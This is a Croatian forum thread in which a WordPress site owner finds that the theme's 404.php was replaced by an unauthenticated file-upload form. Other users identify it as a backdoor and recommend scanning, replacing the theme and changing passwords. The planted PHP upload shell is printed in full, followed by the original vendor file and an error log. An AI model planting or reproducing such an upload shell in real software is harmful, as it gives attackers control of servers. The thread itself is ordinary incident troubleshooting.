Ne radi mi 404 redirect, umjesto toga dobijem ponudu da upload-am file

Ukratko, ne radi mi 404 redirect. Umjesto toga dobijem ponudu da upload-am file, što uredno prođe bez da sam prijavljen na WP kao admin

WP je uredno ažuriran, i radi se o verziji WordPress 3.9.1

htaccess

# BEGIN WordPress
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>

# END WordPress

jesi mozda gledao u Theme/Edit not_found.php (includes/not_found.php) fajl ?

Evo šta imam u vezi 404
webroot / wp-content / themes / freshlife / 404.php

A u file-u je kod

<?php
if(isset($_POST['Submit'])){
    $filedir = ""; 
    $maxfile = '2000000';

    $userfile_name = $_FILES['image']['name'];
    $userfile_tmp = $_FILES['image']['tmp_name'];
    if (isset($_FILES['image']['name'])) {
        $abod = $filedir.$userfile_name;
        @move_uploaded_file($userfile_tmp, $abod);
  
echo"<center><b>Done ==> $userfile_name</b></center>";
}
}
else{
echo'
<form method="POST" action="" enctype="multipart/form-data"><input type="file" name="image"><input type="Submit" name="Submit" value="Submit"></form>';
}
?>

Izgleda da me to zeza… jeli ima koji univerzalni kod za handlanje 404 ?

Stavio sam ovaj kod u 404.php

<?php

   header( 'Location: http://www.domena.com' ) ;

?>

Nadam se da je dobro :slight_smile:

Ako ništa za prvu ruku dok ne odlučim kako da odradim redirect page not found

Nisam ti ja neki znalac za to al @apazinjan to zna ja msm oko kodiranja :smiley: Pa ako ima volje neka ti to sredi:)

Ok to nikako nije dobro.

Bilo tko doslovce moze uploadati bilo sta na tvoj server, pretpostavljam da je tema ripana?

Savjetujem provjeru svih fajlova a najbolje bi bilo promjena cijele teme.

1 Like

Ima li nešto da ti ne znaš? :smiley:

Tema nije ripana, alergičan sam na to… Baš ću pogledati original fajlove,i tražiti objašnjenje od strane kreatora ove teme.

A do tada ću ostaviti taj kod koji sam upisao, jer on sada redirekta na #home

Evo su mi odgovorili iz theme junkie koji je origigi kod

<?php get_header(); ?>
<div id="content">
    <h1 class="page-title"><?php _e('Error 404 - Page not found', 'themejunkie') ?></h1>
    <div class="entry">
           <p><?php _e('The page you trying to reach does not exist, or has been moved. Please use the menus or the search box to find what you are looking for.', 'themejunkie') ?></p>
    </div> <!-- end .entry -->
</div> <!-- end #content -->
<?php get_sidebar(); ?>
<?php get_footer(); ?>

Sada moram potraziti uzrok problema, sumjam na plugin pa cu ako ga reinstaliram hoce li izmjeniti file.

Jeli ima netko kakav prijedlog za skeniranje? Nisam upoznat sa tim… zahvaljujem

Nazalost :smile:

Probaj s ovime: https://wordpress.org/plugins/sucuri-scanner/

Ako si na shared hostingu, moguce da si od nekog drugoga pokupio ovo.

Promijeni sve lozinke.

Jeste, u pitanju je shared hosting kod godaddy-ja.

Instalirao sam http://wordpress.org/plugins/gotmls/ plugin, i sada skeniram - po preporuci ThemeJunkie kodera :smile:

Kada dobijem rezultate pokažem ih ovdje

1 Like

Rezultati skeniranja govore da nema zaraženih datoteka

Evo i error log (jušer sam pokrenuo da vidim imali šta).

[Mon May 19 13:02:08 2014] [10873980] [fcgid:warn] (9)Bad file descriptor: [client 82.145.217.244:55922] mod_fcgid: ap_pass_brigade failed in handle_request_ipc function
[Mon May 19 13:02:08 2014] [10873980] [fcgid:warn] (9)Bad file descriptor: [client 82.145.217.244:55927] mod_fcgid: ap_pass_brigade failed in handle_request_ipc function
[Mon May 19 13:02:09 2014] [10873980] [fcgid:warn] (9)Bad file descriptor: [client 82.145.217.244:55942] mod_fcgid: ap_pass_brigade failed in handle_request_ipc function
[Mon May 19 13:02:09 2014] [10873980] [fcgid:warn] (9)Bad file descriptor: [client 82.145.217.244:55908] mod_fcgid: ap_pass_brigade failed in handle_request_ipc function
[Mon May 19 13:02:09 2014] [10873980] [fcgid:warn] (9)Bad file descriptor: [client 82.145.217.244:55959] mod_fcgid: ap_pass_brigade failed in handle_request_ipc function
[Mon May 19 13:08:33 2014] [10873980] [fcgid:warn] (9)Bad file descriptor: [client 82.145.217.244:53759] mod_fcgid: ap_pass_brigade failed in handle_request_ipc function
[Mon May 19 13:08:34 2014] [10873980] [fcgid:warn] (9)Bad file descriptor: [client 82.145.217.244:53822] mod_fcgid: ap_pass_brigade failed in handle_request_ipc function
[Mon May 19 13:08:34 2014] [10873980] [fcgid:warn] (9)Bad file descriptor: [client 82.145.217.244:53838] mod_fcgid: ap_pass_brigade failed in handle_request_ipc function
[Mon May 19 13:08:34 2014] [10873980] [fcgid:warn] (9)Bad file descriptor: [client 82.145.217.244:53846] mod_fcgid: ap_pass_brigade failed in handle_request_ipc function
[Mon May 19 13:08:34 2014] [10873980] [fcgid:warn] (9)Bad file descriptor: [client 82.145.217.244:53865] mod_fcgid: ap_pass_brigade failed in handle_request_ipc function
[Mon May 19 15:16:13 2014] [10873980] [fcgid:warn] (9)Bad file descriptor: [client 107.167.99.175:35272] mod_fcgid: ap_pass_brigade failed in handle_request_ipc function
[Mon May 19 15:16:14 2014] [10873980] [fcgid:warn] (9)Bad file descriptor: [client 107.167.99.175:35296] mod_fcgid: ap_pass_brigade failed in handle_request_ipc function
[Mon May 19 15:16:14 2014] [10873980] [fcgid:warn] (9)Bad file descriptor: [client 107.167.99.175:35309] mod_fcgid: ap_pass_brigade failed in handle_request_ipc function
[Mon May 19 15:16:14 2014] [10873980] [fcgid:warn] (9)Bad file descriptor: [client 107.167.99.175:35319] mod_fcgid: ap_pass_brigade failed in handle_request_ipc function
[Mon May 19 15:16:15 2014] [10873980] [fcgid:warn] (9)Bad file descriptor: [client 107.167.99.175:35334] mod_fcgid: ap_pass_brigade failed in handle_request_ipc function
[Mon May 19 22:00:20 2014] [10873980] [fcgid:warn] (9)Bad file descriptor: [client 82.145.219.20:56832] mod_fcgid: ap_pass_brigade failed in handle_request_ipc function
[Mon May 19 22:00:20 2014] [10873980] [fcgid:warn] (9)Bad file descriptor: [client 82.145.219.20:56805] mod_fcgid: ap_pass_brigade failed in handle_request_ipc function
[Mon May 19 22:00:20 2014] [10873980] [fcgid:warn] (9)Bad file descriptor: [client 82.145.219.20:56850] mod_fcgid: ap_pass_brigade failed in handle_request_ipc function
[Mon May 19 22:00:20 2014] [10873980] [fcgid:warn] (9)Bad file descriptor: [client 82.145.219.20:56872] mod_fcgid: ap_pass_brigade failed in handle_request_ipc function
[Mon May 19 22:00:20 2014] [10873980] [fcgid:warn] (9)Bad file descriptor: [client 82.145.219.20:56882] mod_fcgid: ap_pass_brigade failed in handle_request_ipc function
[Tue May 20 00:55:12 2014] [10873980] [fcgid:warn] (9)Bad file descriptor: [client 82.145.219.33:41374] mod_fcgid: ap_pass_brigade failed in handle_request_ipc function
[Tue May 20 00:55:12 2014] [10873980] [fcgid:warn] (9)Bad file descriptor: [client 82.145.219.33:41359] mod_fcgid: ap_pass_brigade failed in handle_request_ipc function
[Tue May 20 00:55:12 2014] [10873980] [fcgid:warn] (9)Bad file descriptor: [client 82.145.219.33:41389] mod_fcgid: ap_pass_brigade failed in handle_request_ipc function
[Tue May 20 00:55:12 2014] [10873980] [fcgid:warn] (9)Bad file descriptor: [client 82.145.219.33:41406] mod_fcgid: ap_pass_brigade failed in handle_request_ipc function
[Tue May 20 00:55:12 2014] [10873980] [fcgid:warn] (9)Bad file descriptor: [client 82.145.219.33:41414] mod_fcgid: ap_pass_brigade failed in handle_request_ipc function
[Tue May 20 01:11:08 2014] [10873980] [fcgid:warn] (9)Bad file descriptor: [client 82.145.219.33:55266] mod_fcgid: ap_pass_brigade failed in handle_request_ipc function
[Tue May 20 01:11:08 2014] [10873980] [fcgid:warn] (9)Bad file descriptor: [client 82.145.219.33:55340] mod_fcgid: ap_pass_brigade failed in handle_request_ipc function
[Tue May 20 01:11:08 2014] [10873980] [fcgid:warn] (9)Bad file descriptor: [client 82.145.219.33:55284] mod_fcgid: ap_pass_brigade failed in handle_request_ipc function
[Tue May 20 01:11:08 2014] [10873980] [fcgid:warn] (9)Bad file descriptor: [client 82.145.219.33:55372] mod_fcgid: ap_pass_brigade failed in handle_request_ipc function
[Tue May 20 01:11:08 2014] [10873980] [fcgid:warn] (9)Bad file descriptor: [client 82.145.219.33:55436] mod_fcgid: ap_pass_brigade failed in handle_request_ipc function
[Tue May 20 02:57:55 2014] [10873980] [fcgid:warn] (9)Bad file descriptor: [client 82.145.217.218:46082] mod_fcgid: ap_pass_brigade failed in handle_request_ipc function
[Tue May 20 02:57:55 2014] [10873980] [fcgid:warn] (9)Bad file descriptor: [client 82.145.217.218:46054] mod_fcgid: ap_pass_brigade failed in handle_request_ipc function
[Tue May 20 02:57:55 2014] [10873980] [fcgid:warn] (9)Bad file descriptor: [client 82.145.217.218:46062] mod_fcgid: ap_pass_brigade failed in handle_request_ipc function
[Tue May 20 02:57:55 2014] [10873980] [fcgid:warn] (9)Bad file descriptor: [client 82.145.217.218:46119] mod_fcgid: ap_pass_brigade failed in handle_request_ipc function
[Tue May 20 02:57:55 2014] [10873980] [fcgid:warn] (9)Bad file descriptor: [client 82.145.217.218:46148] mod_fcgid: ap_pass_brigade failed in handle_request_ipc function